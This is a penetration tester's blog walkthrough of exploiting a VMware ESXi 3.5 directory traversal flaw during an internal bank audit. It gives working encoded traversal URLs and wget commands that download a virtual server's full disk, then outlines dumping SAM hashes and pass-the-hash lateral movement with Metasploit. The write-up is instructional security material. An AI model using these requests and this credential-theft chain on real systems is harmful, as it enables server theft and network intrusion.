Stealing Servers Through Directory Traversal

Recently I was conducting an internal penetration test for a client that is part of the financial industry.  Since this client is a financial institution they are required to have an independent 3rd party company audit their security once a year per NCUA and FDIC requirements.  That’s where I come in, I get paid to hack companies like banks and credit unions.  Internal penetration testing is probably one of my favorite engagements to conduct because of the wealth of information you can obtain on an internal network.  Devices on the internal network typically do not have firewalls so you have unrestricted access to every port a network device will serve up.  There are so many devices on the internal network, and each one tells a story.

During this recent assessment I had brought out my typical attack vectors but was striking out. I typically run Nessus as my primary vulnerability scanner, but like every tool I don’t trust it to be the holy grail.  Understanding how a tool works is the best way to get a better understanding of how to find more vulnerabilities in the case that your tools don’t find anything, or malfunction.  I’ve met penetration testers that will see zero high risk findings in Nessus and throw up their hands thinking there is no way to penetrate this network.  When I see a scan that comes back clean with zero high risk findings, I get excited thinking this one’s gonna be a challenge.

Sitting on this internal network the Nessus scan had completed and came up pretty clean.  I brought out my typical arsenal of attacks including but not limited to brute forcing mssql accounts, searching for Apache Tomcat servers that had weak or easily guessable password, sending medusa after the built-in local Administrator account since I enumerated it via null sessions along with the fact this account cannot be locked out by default, nbns_spoofing harvested network hashes but the netLM was disabled leaving me only with netNTLM which is difficult to crack, numerous metasploit auxiliary modules were run along with various other scripts and tools.

I then started to analyze the results of the raw *.nmap files from the nmap scans that I had run earlier.  Recently nmap has been making a lot of progress with the use of it’s NSE scripts that look for various vulnerabilities or issues.  Nmap is no longer just a port scanner, it is much more than that now, and I think we will continue to see additional functionality as the NSE scripts continue to grow in popularity.

While I was looking through one of the nmap files I found the following information that looked incredibly useful:

[crayon toolbar=”false”]

Nmap scan report for 192.168.1.100
Host is up (0.021s latency).
Scanned at 2012-01-16 11:18:26 CST for 609s
Not shown: 991 filtered ports
PORT     STATE  SERVICE         VERSION
22/tcp   open   ssh             OpenSSH 3.6.1p2 (protocol 2.0)
| ssh-hostkey: 1024 1a:60:be:9a:80:2e:07:64:aa:6c:c3:a6:62:6a:c5:83 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAOaU5YuKspj/vAeV775pdGJQV4MDO1vTiT0jp/uWGEMQXElOgy4jqhdOETJ4vI7CuXc8hz5xBEqsMbBblqLLZnBbU3Mbb5b8Bd4JfRc//E3/bo5tnGKCKleQ3UaeMR3hprPno8uZMvNm5pQfOCgE5TjVydH+5XIQXYgq9KXL8g4lAAAAFQDiftzyK/eBRaox1hsxKQ79CFqSBQA$
| 1024 92:66:8a:a5:ea:9e:b3:bc:d7:f3:9e:ee:f5:58:32:a5 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA5YQDOv3u738Tt0wA5dQHj9vUPEgoB7JT82t/NqyZZ7XW8ztG8PQYR/hmVwTvgmZGEr1Cb9UlJONMCyAvycFYdaEg3/NUdGosqzLrb74lqOinbaCVELCEroYi08hMXP+RyObDWiUjaR+9ou6q208WBAt/5nkkhEh2nhpEPHZP3Lk=
80/tcp   open   http            VMware ESX 3.5 Server httpd
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Did not follow redirect to https://192.168.1.100/ and no page was returned.
427/tcp  closed svrloc
443/tcp  open   ssl/http        VMware ESXi Server httpd
|_http-title: ” + ID_ESX_Welcome + ”
| http-vmware-path-vuln:
|   VMWare path traversal (CVE-2009-3733): VULNERABLE
|     /vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k3/Win2k3.vmx
|     /vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k3-1/Win2k3-1.vmx
|     /vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k3-2/Win2k3-2.vmx
|     /vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k3-3/Win2k3-3.vmx
|     /vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/vmwks01/vmwks01.vmx
|_    /vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k8/Win2k8.vmx
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
902/tcp  open   ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
903/tcp  open   ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
2381/tcp open   http            Apache httpd (SSL-only mode)
|_http-methods: No Allow or Public header in OPTIONS response (status code 302)
5988/tcp open   http            Web-Based Enterprise Management CIM serverOpenPegasus WBEM httpd
5989/tcp open   ssl/http        Web-Based Enterprise Management CIM serverOpenPegasus WBEM httpd
Device type: general purpose
Running: Linux 2.4.X

[/crayon]

Instantly I noticed lines 18-24 were telling me this server was vulnerable to directory traversal, and it was even able to enumerate some of the files and folders.  Even better this server was running Vmware ESXi 3.5 hypervisor that was hosting multiple virtual machines.  Nmap was able to enumerate the file location of the virtual machines because it gained access to the “vmInventory.xml” file which lists what virtual machines are installed and the location on the filesystem.  At this point I get very excited and thought for sure I would be able to not only download some files as a proof of concept, but I was going to validate a critical security vulnerability.  If you are not familiar with directory traversal vulnerabilities I recommend you brush up your understanding before continuing.  Directory Traversal attacks can be explained here.

If you were interested in targeting this vulnerability specifically we could do so by entering the following command which would invoke nmap’s “http-vmware-path-vuln.nse” script that looks for directory traversal in vmware’s HTTP web services.  You can get a better understanding of what the NSE is doing exactly be reviewing the code located here.

#nmap –script http-vmware-path-vuln -p80,443,8222,8333 192.168.1.100

At this point I knew the following information about the vulnerability.  It was running a vmware hypervisor, the vulnerability was explicitly present on port 443/tcp, and the NSE script was able to enumerate the full path location to where the Virtual Machines were stored.  All we needed to do now was figure out how to make the proper HTTP GET request that would break out of the web servers website directory and access any part of the filesystem.

It would be great to gain access to a virtual server to gain access to the local hashes from the SAM file.  The reason it is so important to gain access to this local hash is because the majority of all IT shops will have the same password for their local Administrator account on all of their servers and workstations.  Or all the workstations have the same password, and all the servers have a different password.

I took a look at metasploit to see if they had a module to exploit this vulnerability.  The framework did in fact have the module I was looking for to take advantage of this vulnerable to server.  I initially tried to exploit this vulnerability using the metasploit module, but encountered this bug.  Now I needed to figure out how I could exploit this directory traversal manually.

msf > info auxiliary/scanner/http/vmware_server_dir_trav

[crayon toolbar=”false”]

Basic options:
Name     Current Setting                                 Required  Description
—-     —————                                 ——–  ———–
FILE     /etc/vmware/hostd/vmInventory.xml               yes       The file to view
Proxies                                                  no        Use a proxy chain
RHOSTS                                                   yes       The target address range or CIDR identifier
RPORT    8222                                            yes       The target port
THREADS  1                                               yes       The number of concurrent threads
TRAV     /sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E  yes       Traversal Depth
VHOST                                                    no        HTTP server virtual host

[/crayon]

Looking at the metasploit module, I’m able to craft together the HTTP request that might have been used to access the “vmInventory.xml” file outside of the web root.  If the following request would work to obtain the “vmInventory.xml” file, I should be able to tweak the request to access the virtual machines from this:

https://192.168.1.100/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/vmware/hostd/vmInventory.xml

to this:

https://192.168.1.100/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k8/Win2k8.vmx

Putting it all together we use wget with a flag to ignore the self-signed certificate error and attempt to download a file outside the website root.  Make sure you avoid the web browser if possible when testing.  I was using Firefox and Chrome in an attempt to validate a working URL but was unable have a file to download through the browser.

wget –no-check-certificate https://192.168.1.100/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k8/Win2k8.vmx

When I successfully pulled down the vmx file I was very excited because I knew at this point I had a great chance of pulling down all of the files required to boot up this Virtual Machine.  If I was able to boot up this Virtual Machine I was sure to be able to crack out the local hashes from SAM hive as long as the servers were not encrypted.  Everyone is focused on encrypting their laptops, rarely ever does anyone run whole disk encryption on their servers.

the vmx file that I had downloaded is only a configuration file, and not part of the server operating system.  I know at this time that I’m able to pull down any file that the web account has access to on this ESXi 3.5 server.  If I look at some vmware documentation, I could logically guess the name of other files that make up this virtual machine.

Now that we downloaded a file, lets look at it to see if it contains any valuable information which can help leverage further attack.

Win2k8.vmx

[crayon toolbar=”false” height=”500px”]

#!/usr/bin/vmware
config.version = “8”
virtualHW.version = “4”
floppy0.present = “true”
nvram = “Win2k8.nvram”
deploymentPlatform = “windows”
virtualHW.productCompatibility = “hosted”
tools.upgrade.policy = “useGlobal”
powerType.powerOff = “default”
powerType.powerOn = “default”
powerType.suspend = “default”
powerType.reset = “default”

displayName = “Win2k8”
extendedConfigFile = “Win2k8.vmxf”

scsi0.present = “true”
scsi0.sharedBus = “none”
scsi0.virtualDev = “lsilogic”
memsize = “8324”
scsi0:0.present = “true”
scsi0:0.fileName = “Win2k8.vmdk”
scsi0:0.deviceType = “scsi-hardDisk”
ide0:0.present = “true”
ide0:0.clientDevice = “FALSE”
ide0:0.deviceType = “cdrom-image”
ide0:0.startConnected = “true”
floppy0.startConnected = “false”
floppy0.clientDevice = “true”
ethernet0.present = “true”
ethernet0.virtualDev = “e1000”
ethernet0.networkName = “VM Network”
ethernet0.addressType = “generated”
guestOSAltName = “Microsoft Windows Server 2008 (64-bit)”
guestOS = “longhorn-64”
uuid.location = “”
uuid.bios = “”
toolScripts.afterPowerOn = “true”
toolScripts.afterResume = “true”
toolScripts.beforeSuspend = “true”
toolScripts.beforePowerOff = “true”

floppy0.fileName = “fd0”
bios.bootDelay = “10000”
sched.cpu.units = “mhz”
sched.cpu.shares = “normal”
sched.cpu.affinity = “all”
sched.mem.shares = “normal”

scsi0:0.redo = “”
ethernet0.generatedAddress = “00:0o:28:oo:55:aa”
tools.syncTime = “FALSE”
sched.swap.derivedName = “/vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k8/Win2k8-5b631381.vswp”
ethernet0.generatedAddressOffset = “0”
tools.remindInstall = “TRUE”

[/crayon]

There is a load of information in this configuration file that can assist, but I’m most interested in lines 5,15,22, and 53.  This is because these are filenames that help make up the entire Virtual Machine.  At this point I have gained the absolute full path to these files:

[crayon toolbar=”false”]
/vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k8/Win2k8-5b631381.vswp
/vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k8/Win2k8.nvram
/vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k8/Win2k8.vmxf
/vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k8/Win2k8.vmdk
[/crayon]

At this point I had enough knowledge to make an attempt to download more files.  With the following wget command below I was able to pull down the vmdk configuration file.  This file is similar to the vmx in the sense that the file is not part of the server operating system, but rather configuration settings for it.

wget –no-check-certificate https://192.168.1.100/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k8/Win2k8.vmdk

Lets open up this file with our favorite text editor to see if it yields any useful information.

Win2k8.vmdk

[crayon toolbar=”false”]

# Disk DescriptorFile
version=1
CID=01d0bfde
parentCID=ffffffff
createType=”vmfs”

# Extent description
RW 62914560 VMFS “Win2k8-flat.vmdk”

# The Disk Data Base
#DDB

ddb.toolsVersion = “0”
ddb.adapterType = “lsilogic”
ddb.geometry.sectors = “63”
ddb.geometry.heads = “255”
ddb.geometry.cylinders = “3916”
ddb.uuid = “60 00 C2 9b 7f 1b 27 1a-5b b6 ad f9 41 b4 5f 9c”
ddb.virtualHWVersion = “4”

[/crayon]

Line 8 is critical information to this equation.  A virtual machine encapsulates an entire server or desktop environment in a VMDK file.  With the following wget command we are able to pull down the 30gb virtual hdd that contains the entire server.

wget –no-check-certificate https://192.168.1.100/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/vmfs/volumes/473900a1-8f7c7801-a1a7-001e0b6eaf09/Win2k8/Win2k8-flat.vmdk

At this point once we have all of the critical files required to fire up our virtual machine on my laptop with the use of VMware workstation.  You may be required to use the VMware converter in order for the virtual machine to properly boot up in your environment.  After all you did steal the server out of its ESXi 3.5 environment and placed it in your own VMware workstation, it’s possible things won’t go smoothly.

Once your virtual machine is booted up, we’ll want to boot it off  a LIVE cd or any other bootable environment that has read and write access the NTFS partition so we can follow the sticky keys hack.  This will allow us to gain access to a SYSTEM level command prompt to create a user and dump the local hashes using any method you see fit (pwdump, fgdump, gsecdump, meterpreter | hashdump, etc…)

If you didn’t want to boot up the virtual machine you could mount the virtual hdd (Win2k8-flat.vmdk) in Windows or Linux.  After the mount is completed you could follow the article Cracking Syskey and the SAM on Windows XP, 2000 and NT 4 using Open Source Tools to gain access to the hashes of any local account on this virtual machine.

Once we have gained access to the password hashes we can attempt to crack them, or even better pass them using the tactic pass-the-hash.  Metasploit offers the ability to pass-the-hash nice and easy from inside the framework using either the smb_login module or the psexec module.  I often times start with smb_login scanning the entire network to determine where my local hashes are good on the network.  Once I have results of where I can successfully log into systems using pass-the-hash I use psexec to actually remotely login to get a meterpreter.

This is just one of many examples I have encountered where my tools have failed me and I have had to go deep and get dirty by better understanding the vulnerabilities to properly exploit them.  We have seen a case where Nessus was not able to detect any directory traversal with this system, and the metasploit module crashed when attempting to exploit it, but lucky for me I had my handy dandy wget to help assist when all else had failed to get the job done and gain access to lots of additional systems on the network.

Share this article